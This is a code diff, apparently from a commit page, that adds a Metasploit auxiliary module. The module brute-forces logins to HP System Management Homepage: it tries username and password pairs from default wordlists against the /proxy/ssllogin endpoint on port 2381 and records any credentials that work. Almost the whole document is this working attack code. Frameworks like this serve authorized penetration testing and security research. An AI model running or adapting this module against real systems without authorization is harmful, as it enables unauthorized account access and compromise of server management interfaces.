1
+ ##
2
+ # This file is part of the Metasploit Framework and may be subject to
3
+ # redistribution and commercial restrictions. Please see the Metasploit
4
+ # Framework web site for more information on licensing and terms of use.
5
+ # http://metasploit.com/framework/
6
+ ##
7
+
8
+ require 'msf/core'
9
+
10
+ class Metasploit3 < Msf ::Auxiliary
11
+
12
+ include Msf ::Auxiliary ::Report
13
+ include Msf ::Exploit ::Remote ::HttpClient
14
+ include Msf ::Auxiliary ::AuthBrute
15
+
16
+ def initialize ( info = { } )
17
+ super ( update_info ( info ,
18
+ 'Name' => "HP System Management Homepage Login Utility" ,
19
+ 'Description' => %q{
20
+ This module attempts to login to HP System Management Homepage using host
21
+ operating system authentication.
22
+ } ,
23
+ 'License' => MSF_LICENSE ,
24
+ 'Author' => [ 'sinn3r' ] ,
25
+ 'DefaultOptions' => { 'SSL' => true }
26
+ ) )
27
+
28
+ register_options (
29
+ [
30
+ Opt ::RPORT ( 2381 ) ,
31
+ OptPath . new ( 'USERPASS_FILE' , [ false , "File containing users and passwords separated by space, one pair per line" ,
32
+ File . join ( Msf ::Config . install_root , "data" , "wordlists" , "http_default_userpass.txt" ) ] ) ,
33
+ OptPath . new ( 'USER_FILE' , [ false , "File containing users, one per line" ,
34
+ File . join ( Msf ::Config . install_root , "data" , "wordlists" , "http_default_users.txt" ) ] ) ,
35
+ OptPath . new ( 'PASS_FILE' , [ false , "File containing passwords, one per line" ,
36
+ File . join ( Msf ::Config . install_root , "data" , "wordlists" , "http_default_pass.txt" ) ] ) ,
37
+ ] , self . class )
38
+ end
39
+
40
+
41
+ def peer
42
+ "#{ rhost } :#{ rport } "
43
+ end
44
+
45
+ def anonymous_access?
46
+ res = send_request_raw ( { 'uri' => '/' } )
47
+ return true if res and res . body =~ /username = "hpsmh_anonymous"/
48
+ false
49
+ end
50
+
51
+ def do_login ( user , pass )
52
+ begin
53
+ res = send_request_cgi ( {
54
+ 'method' => 'POST' ,
55
+ 'uri' => '/proxy/ssllogin' ,
56
+ 'vars_post' => {
57
+ 'redirecturl' => '' ,
58
+ 'redirectquerystring' => '' ,
59
+ 'user' => user ,
60
+ 'password' => pass
61
+ }
62
+ } )
63
+
64
+ if not res
65
+ print_error ( "#{ peer } - Connection timed out" )
66
+ return :abort
67
+ end
68
+ rescue ::Rex ::ConnectionError , Errno ::ECONNREFUSED
69
+ print_error ( "#{ peer } - Failed to response" )
70
+ return :abort
71
+ end
72
+
73
+ if res . headers [ 'CpqElm-Login' ] . to_s =~ /success/
74
+ print_good ( "#{ peer } - Successful login: '#{ user } :#{ pass } '" )
75
+ report_auth_info ( {
76
+ :host => rhost ,
77
+ :port => rport ,
78
+ :sname => 'https' ,
79
+ :user => user ,
80
+ :pass => pass ,
81
+ :proof => "CpqElm-Login: #{ res . headers [ 'CpqElm-Login' ] } "
82
+ } )
83
+
84
+ return :next_user
85
+ end
86
+ end
87
+
88
+
89
+ def run
90
+ if anonymous_access?
91
+ print_status ( "#{ peer } - No login necessary. Server allows anonymous access." )
92
+ return
93
+ end
94
+
95
+ each_user_pass { |user , pass |
96
+ # Actually respect the BLANK_PASSWORDS option
97
+ next if not datastore [ 'BLANK_PASSWORDS' ] and pass . blank?
98
+
99
+ vprint_status ( "#{ peer } - Trying: '#{ user } :#{ pass } '" )
100
+ do_login ( user , pass )
101
+ }
102
+ end
103
+ end
0 commit comments